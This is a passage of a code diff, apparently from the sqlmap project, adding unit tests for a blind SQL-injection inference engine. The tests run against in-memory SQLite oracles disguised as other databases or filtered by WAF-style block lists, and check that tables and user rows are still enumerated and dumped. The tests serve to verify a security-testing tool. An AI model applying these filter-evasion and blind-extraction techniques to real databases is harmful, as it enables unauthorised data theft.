_concatFn(*args): + return "".join(u"" if a is None else (a if isinstance(a, type(u"")) else str(a)) for a in args) + + +def _disguisedOracle(blocked=None, rewrites=(), funcs=()): + """Boolean oracle over a disguised SQLite. `blocked` (regex) forms read False (the + fake engine lacks them); `rewrites` translate the fake engine's forms into SQLite; + `funcs` registers extra SQL functions (e.g. a variadic CONCAT SQLite lacks). The + engine never sees SQLite - it must adapt to whatever back-end the scenario emulates.""" + con = sqlite3.connect(":memory:") + for name, narg, fn in funcs: + con.create_function(name, narg, fn) + for stmt in _SEED: + con.execute(stmt) + con.commit() + blk = re.compile(blocked, re.I) if blocked else None + rw = [(re.compile(p, re.I), r) for p, r in rewrites] + + def ask(cond): + if blk and blk.search(cond): + return False # fake engine doesn't support it + sql = cond + for rx, rep in rw: + sql = rx.sub(rep, sql) + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1 + except Exception: + return False + return ask + + +# coherent whole-back-end disguises: each blocks the forms its fake DBMS lacks and maps +# the forms it "has" onto SQLite. All must discover the dialect and dump every row. +# (name, blocked, rewrites, funcs) +_DIALECTS = ( + ("mysql-ish: MID / CHAR_LENGTH / ORD, backtick idents, || is OR -> CONCAT", + r"\bSUBSTR\(|\bSUBSTRING\(|\bLEN\(|\bLENGTH\(|\bASCII\(|\bUNICODE\(|\|\|", + [(r"\bMID\(", "substr("), (r"CHAR_LENGTH\(", "length("), (r"\bORD\(", "unicode("), (r"`", '"')], + [("CONCAT", -1, _concatFn)]), + ("mssql-ish: SUBSTRING / LEN / UNICODE, '+' concat, [..] idents", + r"\bSUBSTR\(|\bMID\(|CHAR_LENGTH\(|\bLENGTH\(|\bASCII\(|\bORD\(|\|\||\bCONCAT\(|\"|`", + [(r"SUBSTRING\(", "substr("), (r"\bLEN\(", "length("), (r"\)\+\(", ")||(")], + ()), + ("postgres-ish: SUBSTRING / LENGTH / ASCII, || concat", + r"\bSUBSTR\(|\bMID\(|\bLEN\(|CHAR_LENGTH\(|\bUNICODE\(|\bORD\(", + [(r"SUBSTRING\(", "substr("), (r"\bASCII\(", "unicode(")], + ()), + ("oracle-ish: SUBSTR / LENGTH / ASCII / CHR, || concat", + r"\bMID\(|\bLEN\(|CHAR_LENGTH\(|\bUNICODE\(|\bORD\(|\bCHAR\(", + [(r"\bASCII\(", "unicode("), (r"\bCHR\(", "char(")], + ()), + ("waf: code fns and collation stripped -> forced hex extraction", + r"\bASCII\(|\bUNICODE\(|\bORD\(|CODEPOINT\(|COLLATE|AS\s+BLOB", + (), ()), + ("waf: '>'/'<' stripped on top of a MID/CHAR_LENGTH dialect", + r">|<|\bSUBSTR\(|\bSUBSTRING\(|\bLENGTH\(|\bLEN\(|\|\|", + [(r"\bMID\(", "substr("), (r"CHAR_LENGTH\(", "length(")], + [("CONCAT", -1, _concatFn)]), +) + + +class TestEsperanto(unittest.TestCase): + def test_bytes_roundtrip(self): + # bytes-first round-trips EVERY value exactly (the fundamental guarantee) + for v in CORPUS: + esp = Esperanto(_oracle(v)) + esp.discover() + self.assertEqual(esp.extractBytes(EXPR), v.encode("utf-8"), "extractBytes %r" % v) + self.assertEqual(esp.extractText(EXPR), v, "extractText %r" % v) + + def test_no_silent_corruption(self): + # any deviation must be surfaced (replacement marker + warning), never a + # wrong-but-plausible character silently substituted + for v in CORPUS: + for mode in ("code", "ordinal", "collation", "hex"): + esp = Esperanto(_oracle(v)) + esp.discover() + esp.dialect.compare = mode + if mode == "hex": + esp._ensureHexfn() + elif mode == "collation": # SQLite is byte-ordered via BLOB cast + esp.dialect.binwrap = Cap("cast_blob", "CAST(({x}) AS BLOB)") + res = esp.extractResult(EXPR) + if res.value == v: + continue + self.assertTrue(not res.complete and res.warnings, + "silent corruption in %s mode for %r -> %r" % (mode, v, res.value)) + self.assertTrue(u"�" in res.value or res.value == u"", + "%s mode invented a value for %r -> %r" % (mode, v, res.value)) + + def test_null_vs_empty(self): + esp = Esperanto(_oracle(is_null=True)) + esp.discover() + rnull = esp.extractResult(EXPR) + self.assertTrue(rnull.is_null and rnull.value is None, "NULL not null: %r" % rnull) + esp = Esperanto(_oracle(u"")) + esp.discover() + rempty = esp.extractResult(EXPR) + self.assertTrue((not rempty.is_null) and rempty.value == u"" and rempty.complete, + "empty string mis-reported: %r" % rempty) + + def test_limit_and_maxlen(self): + # limit=0 on a non-empty value -> empty prefix, but INCOMPLETE/TRUNCATED + esp = Esperanto(_oracle(u"hello")) + esp.discover() + r0 = esp.extractResult(EXPR, limit=0) + self.assertTrue(r0.value == u"" and r0.truncated and not r0.complete, "limit=0: %r" % r0) + # over-maxlen -> truncated flagged, length bounded + esp = Esperanto(_oracle(u"0123456789ABCDEF"), maxlen=4) + esp.discover() + rt = esp.extractResult(EXPR) + self.assertTrue(rt.truncated and not rt.complete and len(rt.value) <= 4, "over-maxlen: %r" % rt) + + def test_integer(self): + for n in (0, 1, 42, 255, 65535, 1000000, 2147483648, -1, -42): + esp = Esperanto(_oracle()) + esp.discover() + self.assertEqual(esp.extractInteger("(%d)" % n), n, "extractInteger(%d)" % n) + + def test_fixup_length(self): + # a trailing-space-trimming length fn is rebuilt as LEN(x||'.')-1 + esp = Esperanto(_oracle(u"x")) + esp.discover() + esp.dialect.length = Cap("LEN", "LEN({expr})", unit="characters", trailing=False, empty_is_null=False) + esp.dialect.concat = Cap("plus", "({a})+({b})") + esp._fixupLength() + self.assertTrue(esp.dialect.length.name.endswith("+dot") and esp.dialect.length.get("trailing"), + "_fixupLength did not rebuild: %r" % esp.dialect.length) + + def test_lit_escaping(self): + esp = Esperanto(_oracle(u"x")) + esp.discover() + esp._backslashEscape = True + self.assertEqual(esp._lit("\\"), "'\\\\'") + esp._backslashEscape = False + self.assertEqual(esp._lit("\\"), "'\\'") + self.assertEqual(esp._lit("'"), "''''") + + def test_build_literal(self): + esp = Esperanto(_oracle(u"x")) + esp.discover() + lit = esp.buildLiteral("a\\b'c") + self.assertTrue(esp._ask("%s IS NOT NULL" % lit), "buildLiteral invalid SQL: %s" % lit) + self.assertEqual(esp.extract(lit), "a\\b'c") + + def test_coalesce(self): + esp = Esperanto(_oracle(u"x")) + esp.discover() + if esp.dialect.coalesce: + self.assertEqual(esp.extract(esp.coalesce("NULL", "'Z'")), "Z") + + def test_enumerate(self): + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE alpha (x)") + con.execute("CREATE TABLE beta (y)") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + tabs = set(esp.enumerate("table", limit=10) or []) + self.assertTrue(set(["alpha", "beta"]).issubset(tabs), "enumerate tables: %r" % tabs) + + def test_dump(self): + # row DATA byte-exact, including commas / quotes / unicode (hex framing keeps intact) + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE users (id, uname, note)") + truth = [(1, u"admin", u"all,good"), (2, u"o'brien", u"café,€"), (3, u"x", u"")] + for row in truth: + con.execute("INSERT INTO users VALUES (?,?,?)", row) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + d = esp.dump("users", limit=10) + got = set(frozenset(dict(zip(d["columns"], r)).items()) for r in d["rows"]) + want = set(frozenset({"id": str(i), "uname": u, "note": n}.items()) for i, u, n in truth) + self.assertTrue(d["complete"] and got == want, "dump mismatch: %r" % d["rows"]) + + def test_dump_scavenges_without_hex_or_concat(self): + # DOOMSDAY: a back-end with NO hex function AND NO concat operator (nothing to + # frame a whole row with) must still be dumped - cell by cell, one value per + # extraction. Quotes/commas/NULLs in the data must survive (a single value has + # no framing ambiguity). This is the scavenger's whole reason to exist. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE users (id INTEGER, name TEXT, email TEXT)") + for row in ((1, "luther", "a@b.c"), (2, "o'brien", "x,y@z"), (3, "wu", None)): + con.execute("INSERT INTO users VALUES (?,?,?)", row) + con.commit() + blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR|" + r"\|\||\bCONCAT\(|CONCAT_WS|\)\+\(|\)&\(") # no hex, no concat at all + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertIsNone(esp.dialect.hexfn) + self.assertIsNone(esp.dialect.concat) + d = esp.dump("users") + got = set(frozenset(dict(zip(d["columns"], r)).items()) for r in d["rows"]) + want = set(frozenset(v.items()) for v in ( + {"id": "1", "name": "luther", "email": "a@b.c"}, + {"id": "2", "name": "o'brien", "email": "x,y@z"}, + {"id": "3", "name": "wu", "email": None})) + self.assertTrue(d["complete"] and got == want, "cell-by-cell dump: %r" % d["rows"]) + + def test_enumerate_without_count(self): + # COUNT() filtered (a WAF, or an exotic engine) must not kill discovery: + # catalog detection, brute-force existence probing, and identifier quoting are + # all COUNT-free (scalar-subquery existence), so tables/columns/dump still work. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE users (id INTEGER, name TEXT)") + con.execute("INSERT INTO users VALUES (1, 'admin'), (2, 'root')") + con.commit() + blk = re.compile(r"(?i)\bCOUNT\s*\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertEqual(esp.enumerate("table", limit=10), ["users"]) + self.assertEqual(sorted(esp.columns("users")), ["id", "name"]) + rows = (esp.dump("users") or {}).get("rows") or [] + got = set(frozenset(dict(zip(esp.dump("users")["columns"], r)).items()) for r in rows) + want = set(frozenset(v.items()) for v in ({"id": "1", "name": "admin"}, {"id": "2", "name": "root"})) + self.assertEqual(got, want) + + def test_quoting(self): + # reserved-word / spaced column names must be quoted, not interpolated raw + con = sqlite3.connect(":memory:") + con.execute('CREATE TABLE q (id INTEGER, "order" TEXT, "group by" TEXT)') + con.execute('INSERT INTO q VALUES (1, ?, ?)', ("a'b", "x,y")) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + dq = esp.dump("q") + got = set(frozenset(dict(zip(dq["columns"], r)).items()) for r in dq["rows"]) + want = set([frozenset({"id": "1", "order": "a'b", "group by": "x,y"}.items())]) + self.assertTrue(dq["complete"] and got == want and esp.dialect.identQuote, + "quoted-identifier dump failed: %r" % dq["rows"]) + + def test_strategy_handoff(self): + # the frozen InferenceStrategy is a *sufficient* host interface, and immutable + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE k (v TEXT)") + con.execute("INSERT INTO k VALUES ('Str4t3gy!')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + strat = esp.strategy() + self.assertRaises(AttributeError, setattr, strat, "compare_mode", "x") + self.assertEqual(hostExtract(ask, strat, "(SELECT v FROM k)"), "Str4t3gy!") + self.assertTrue(strat.asQueriesRow()["substring"]) + + def test_pattern_match_fallback(self): + # SUBSTR + LENGTH + hex + code fns ALL blacklisted -> pure GLOB/LIKE floor + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE flag (id INTEGER, v TEXT)") + con.execute("INSERT INTO flag VALUES (1, 'FLAG{no_SUBSTR_%_needed}')") + con.commit() + blk = re.compile(r"(?i)\bSUBSTR|SUBSTRING|\bMID\(|\bLENGTH|CHAR_LENGTH|\bLEN\(|" + r"OCTET_LENGTH|LENGTHB|DATALENGTH|(ASCII|UNICODE|ORD)\(|\bHEX\(|" + r"RAWTOHEX|ENCODE\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertIsNotNone(esp.dialect.prefix) + self.assertEqual(esp.extract("(SELECT v FROM flag WHERE id=1)"), "FLAG{no_SUBSTR_%_needed}") + + def test_like_floor_escapes_wildcard_chars(self): + # the classic trap: on the LIKE floor '_' and '%' ARE the wildcards, so a value + # like 'all_products' must escape them (\_ ESCAPE '\'), not treat them as + # match-anything. GLOB is blocked here to force LIKE (where '_'/'%' are magic). + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE v (val TEXT)") + con.execute("INSERT INTO v VALUES ('all_products')") + for t in ("all_products", "wp_users", "sales%2024"): # '_'/'%' in identifiers + con.execute('CREATE TABLE "%s" (id)' % t) + con.commit() + blk = re.compile(r"(?i)\bSUBSTR|SUBSTRING|\bMID\(|\bLENGTH|CHAR_LENGTH|\bLEN\(|" + r"OCTET_LENGTH|LENGTHB|DATALENGTH|(ASCII|UNICODE|ORD|CODEPOINT)\(|" + r"\bHEX\(|RAWTOHEX|ENCODE\(|GLOB") # +GLOB -> only LIKE left + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertEqual(esp.dialect.prefix.name, "LIKE") # GLOB gone -> LIKE floor + self.assertEqual(esp.extract("(SELECT val FROM v)"), "all_products") + tabs = esp.enumerate("table", limit=10) or [] + self.assertEqual(sorted(tabs), ["all_products", "sales%2024", "v", "wp_users"]) + + def test_length_from_substring(self): + # every length fn blacklisted but SUBSTR present -> length derived from the end + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t6 (v TEXT)") + con.execute(u"INSERT INTO t6 VALUES ('Admin-42€')") + con.commit() + blk = re.compile(r"(?i)\b(CHAR_LENGTH|LENGTH|LEN)\s*\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + d = esp.discover() + self.assertIsNone(d.length) + self.assertEqual(esp.extract("(SELECT v FROM t6)"), u"Admin-42€") + + def test_enumeration_degrades_not_crashes(self): + # a permission/charset wall mid-walk (oracle can't decide the keyset bound) + # must STOP with partial results, never crash with OracleUndecided + con = sqlite3.connect(":memory:") + for t in ("alpha", "beta", "gamma"): + con.execute("CREATE TABLE %s (x)" % t) + con.commit() + + def ask(cond): + if "name>" in cond.replace(" ", "").lower(): # the keyset bound + raise RuntimeError("simulated permission/charset wall") + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + names = esp.enumerate("table", limit=10) # must not raise + self.assertEqual(names, ["alpha"]) + self.assertTrue(any("stopped early" in n for n in esp.dialect.notes)) + + def test_left_right_rung(self): + # SUBSTR/SUBSTRING/MID blocked but LEFT+RIGHT present -> RIGHT(LEFT(x,p),1). + # LEFT/RIGHT are reserved JOIN keywords in SQLite; some builds reject LEFT(/RIGHT( + # as function calls (syntax error, keyword) rather than invoking a same-named UDF, + # so register the shims under non-keyword names and translate the engine's LEFT(/ + # RIGHT( onto them (the same rewrite the disguised-dialect oracles use). Keeps the + # test portable across SQLite builds while still exercising the real left_right rung. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t7 (v TEXT)") + con.execute("INSERT INTO t7 VALUES ('Zagreb-42')") + con.commit() + con.create_function("esp_left", 2, lambda s, n: (s or "")[:max(n, 0)]) + con.create_function("esp_right", 2, lambda s, n: (s or "")[len(s or "") - n:] if n > 0 else "") + blk = re.compile(r"(?i)\b(SUBSTR|SUBSTRING|SUBSTRC|MID)\s*\(") + rwLeft = re.compile(r"(?i)\bLEFT\s*\(") + rwRight = re.compile(r"(?i)\bRIGHT\s*\(") + + def ask(cond): + if blk.search(cond): + return False + sql = rwRight.sub("esp_right(", rwLeft.sub("esp_left(", cond)) + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + d = esp.discover() + self.assertTrue(d.substring is not None and d.substring[0] == "left_right") + self.assertEqual(esp.extract("(SELECT v FROM t7)"), "Zagreb-42") + + # -- adversarial dialect scenarios --------------------------------------------- + + def _adapt(self, oracle): + esp = Esperanto(oracle) + esp.discover() + return esp, esp.extract(_SECRET_EXPR) + + def test_disguise_substring_is_SUBSTRING(self): + # SUBSTR/MID blocked; the engine "has" SUBSTRING -> mapped to SQLite substr + esp, got = self._adapt(_disguisedOracle( + blocked=r"\bSUBSTR\(|\bMID\(|\bSUBSTRC\(", + rewrites=[(r"SUBSTRING\(", "substr(")])) + self.assertEqual(esp.dialect.substring[0], "SUBSTRING") + self.assertEqual(got, "admin") + + def test_disguise_length_is_LEN(self): + # CHAR_LENGTH/LENGTH blocked; the engine "has" LEN -> mapped to SQLite length + esp, got = self._adapt(_disguisedOracle( + blocked=r"CHAR_LENGTH\(|\bLENGTH\(", + rewrites=[(r"\bLEN\(", "length(")])) + self.assertEqual(esp.dialect.length[0], "LEN") + self.assertEqual(got, "admin") + + def test_disguise_charcode_is_ASCII(self): + # UNICODE/ORD blocked; the engine "has" ASCII -> mapped to SQLite unicode() + esp, got = self._adapt(_disguisedOracle( + blocked=r"\bUNICODE\(|\bORD\(|CODEPOINT\(", + rewrites=[(r"\bASCII\(", "unicode(")])) + self.assertEqual(esp.dialect.charcode[0], "ASCII") + self.assertEqual(esp.dialect.compare, "code") + self.assertEqual(got, "admin") + + def test_disguise_concat_is_CONCAT_not_pipes(self): + # || blocked (as if it were logical OR, MySQL-style); engine has variadic CONCAT + esp, got = self._adapt(_disguisedOracle( + blocked=r"\|\|", + funcs=[("CONCAT", -1, _concatFn)])) + self.assertEqual(esp.dialect.concat[0], "concat") + self.assertEqual(got, "admin") + + def test_disguise_no_catalog_brute_forces_schema(self): + # every system catalog denied: the engine knows NOTHING about the schema and + # must brute-force the table + columns, then dump + esp = Esperanto(_disguisedOracle( + blocked=r"sqlite_master|INFORMATION_SCHEMA|SYS\.|SYSIBM|pg_catalog|pg_tables|" + r"syscat|RDB\$|master\.\.|sys\.tables|sys\.schemas")) + esp.discover() + self.assertIsNone(esp.dialect.catalog) + self.assertEqual(esp.enumerate("table"), ["users"]) + self.assertEqual(esp.columns("users"), ["id", "name", "email"]) + rows = (esp.dump("users") or {}).get("rows") + self.assertEqual(rows, [["1", "luther", "a@b.c"], ["2", "admin", "p@w.n"], ["3", "wu", None]]) + + def test_disguise_gt_blocked_falls_to_between(self): + # a WAF that strips '<'/'>' must not break bisection - retry via BETWEEN + esp = Esperanto(_disguisedOracle(blocked=r">|<")) + esp.discover() + self.assertEqual(esp._comparator, "between") + self.assertEqual(esp.extract(_SECRET_EXPR), "admin") + self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # BETWEEN keyset pages all + + def test_disguise_gt_and_between_blocked_use_in(self): + # '<'/'>' AND BETWEEN gone: order-free IN() subset bisection for the chars and + # NOT IN() paging for the rows - needs only '=' membership + esp = Esperanto(_disguisedOracle(blocked=r">|<|BETWEEN")) + esp.discover() + self.assertEqual(esp._comparator, "membership") + self.assertEqual(esp.extract(_SECRET_EXPR), "admin") + self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # NOT IN() pages all + + def test_disguise_no_ordering_no_in_still_extracts(self): + # the hard floor: no '<'/'>', no BETWEEN, no IN - only '=' equality. Values + # still extract (linear scan); multi-row dump honestly degrades (can't page) + esp = Esperanto(_disguisedOracle(blocked=r">|<|BETWEEN|\bIN\s*\(")) + esp.discover() + self.assertEqual(esp.extract(_SECRET_EXPR), "admin") + rows = (esp.dump("users") or {}).get("rows") + self.assertTrue(rows and rows[0] == ["1", "luther", "a@b.c"]) + + def test_disguise_everything_at_once(self): + # the monster: SUBSTRING + LEN + ASCII(->unicode) + variadic CONCAT (no ||) + + # NO catalog, all at once - the engine must adapt to every disguise and dump + esp = Esperanto(_disguisedOracle( + blocked=(r"\bSUBSTR\(|\bMID\(|\bSUBSTRC\(|CHAR_LENGTH\(|\bLENGTH\(|" + r"\bUNICODE\(|\bORD\(|CODEPOINT\(|\|\||" + r"sqlite_master|INFORMATION_SCHEMA|SYS\.|SYSIBM|pg_catalog|pg_tables|" + r"syscat|RDB\$|master\.\.|sys\.tables|sys\.schemas"), + rewrites=[(r"SUBSTRING\(", "substr("), (r"\bLEN\(", "length("), (r"\bASCII\(", "unicode(")], + funcs=[("CONCAT", -1, _concatFn)])) + esp.discover() + self.assertEqual(esp.dialect.substring[0], "SUBSTRING") + self.assertEqual(esp.dialect.length[0], "LEN") + self.assertEqual(esp.dialect.charcode[0], "ASCII") + self.assertEqual(esp.dialect.concat[0], "concat") + self.assertIsNone(esp.dialect.catalog) + rows = (esp.dump("users") or {}).get("rows") + self.assertEqual(rows, [["1", "luther", "a@b.c"], ["2", "admin", "p@w.n"], ["3", "wu", None]]) + + def test_disguise_dialect_profiles(self): + # each coherent fake back-end must be discovered from scratch and yield every + # row byte-exact - not just the one capability the disguise touches (column + # ORDER is a dialect detail, so compare rows as column->value maps) + want = set(frozenset(d.items()) for d in ( + {"id": "1", "name": "luther", "email": "a@b.c"}, + {"id": "2", "name": "admin", "email": "p@w.n"}, + {"id": "3", "name": "wu", "email": None})) + for name, blocked, rewrites, funcs in _DIALECTS: + esp = Esperanto(_disguisedOracle(blocked, rewrites, funcs)) + esp.discover() + self.assertEqual(esp.extract(_SECRET_EXPR), "admin", "%s: extract" % name) + d = esp.dump("users") or {} + got = set(frozenset(dict(zip(d.get("columns") or [], r)).items()) for r in (d.get("rows") or [])) + self.assertEqual(got, want, "%s: dump %r" % (name, d.get("rows"))) + + def test_disguise_bracket_quoting_reserved_words(self): + # '"' and backtick idents blocked -> the engine must fall to [..] quoting to + # reach reserved-word columns; commas/quotes in the data must survive framing + seed = ('CREATE TABLE q (id INTEGER, "order" TEXT, "group" TEXT)', + "INSERT INTO q VALUES (1, ?, ?)") + con = sqlite3.connect(":memory:") + con.execute(seed[0]); con.execute(seed[1], ("a,b", "x'y")); con.commit() + blk = re.compile(r'"|`') + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask); esp.discover() + dq = esp.dump("q") + self.assertEqual(esp.dialect.identQuote, ("[", "]")) # forced past " and ` to [..] + got = set(frozenset(dict(zip(dq["columns"], r)).items()) for r in dq["rows"]) + want = set([frozenset({"id": "1", "order": "a,b", "group": "x'y"}.items())]) + self.assertTrue(dq["complete"] and got == want, "bracket-quoted dump: %r" % dq["rows"]) + + def test_disguise_lossy_charcode_escalates_to_hex(self): + # a first-byte charcode fn (MySQL-style ASCII) is lossy for non-ASCII; the + # engine must detect that and escalate to hex, recovering the bytes exactly + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute(u"INSERT INTO t VALUES ('café-€')") # cafe-EUR + con.commit() + con.create_function("ASCII", 1, lambda s: (bytearray(s.encode("utf-8"))[0] if s else None)) + blk = re.compile(r"\bUNICODE\(|\bORD\(|CODEPOINT\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask); esp.discover() + self.assertEqual(esp.dialect.charcode[0], "ASCII") + self.assertEqual(esp.extractText("(SELECT v FROM t)"), u"café-€") + + def test_disguise_unicode_through_dialect(self): + # non-ASCII data recovered byte-exact even while the dialect is disguised + # (SUBSTR/MID/CHAR_LENGTH/LENGTH blocked -> SUBSTRING/LEN mapped to SQLite) + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE s (v TEXT)") + con.execute(u"INSERT INTO s VALUES ('Zagreb-župa-€42')") # Zagreb-zupa-EUR42 + con.commit() + blk = re.compile(r"\bSUBSTR\(|\bMID\(|CHAR_LENGTH\(|\bLENGTH\(", re.I) + rw = [(re.compile(r"SUBSTRING\(", re.I), "substr("), (re.compile(r"\bLEN\(", re.I), "length(")] + + def ask(cond): + if blk.search(cond): + return False + sql = cond + for rx, rep in rw: + sql = rx.sub(rep, sql) + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask); esp.discover() + self.assertEqual(esp.extractText("(SELECT v FROM s)"), u"Zagreb-župa-€42") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_pagecontent.py b/tests/test_pagecontent.py index 6d777ef21d8..4dd903fa0f6 100644 --- a/tests/test_pagecontent.py +++ b/tests/test_pagecontent.py @@ -24,6 +24,7 @@ from lib.core.common import (getFilteredPageContent, getPageWordSet, extractTextTagContent, parseSqliteTableSchema) +from lib.core.data import conf from lib.core.data import kb @@ -60,8 +61,14 @@ def test_multiple_tags(self): class TestParseSqliteTableSchema(unittest.TestCase): def setUp(self): + # parseSqliteTableSchema keys cachedColumns by conf.db/conf.tbl - reset them (not just + # cachedColumns) so a leaked db/tbl from a prior test can't shift the storage key and + # break this test's [None][None] lookup (order-dependent flake under PyPy discovery) self.addCleanup(setattr, kb.data, "cachedColumns", kb.data.get("cachedColumns")) + self.addCleanup(setattr, conf, "db", conf.get("db")) + self.addCleanup(setattr, conf, "tbl", conf.get("tbl")) kb.data.cachedColumns = {} + conf.db = conf.tbl = None def _cols(self): # parseSqliteTableSchema stores under cachedColumns[db][table] (both None here)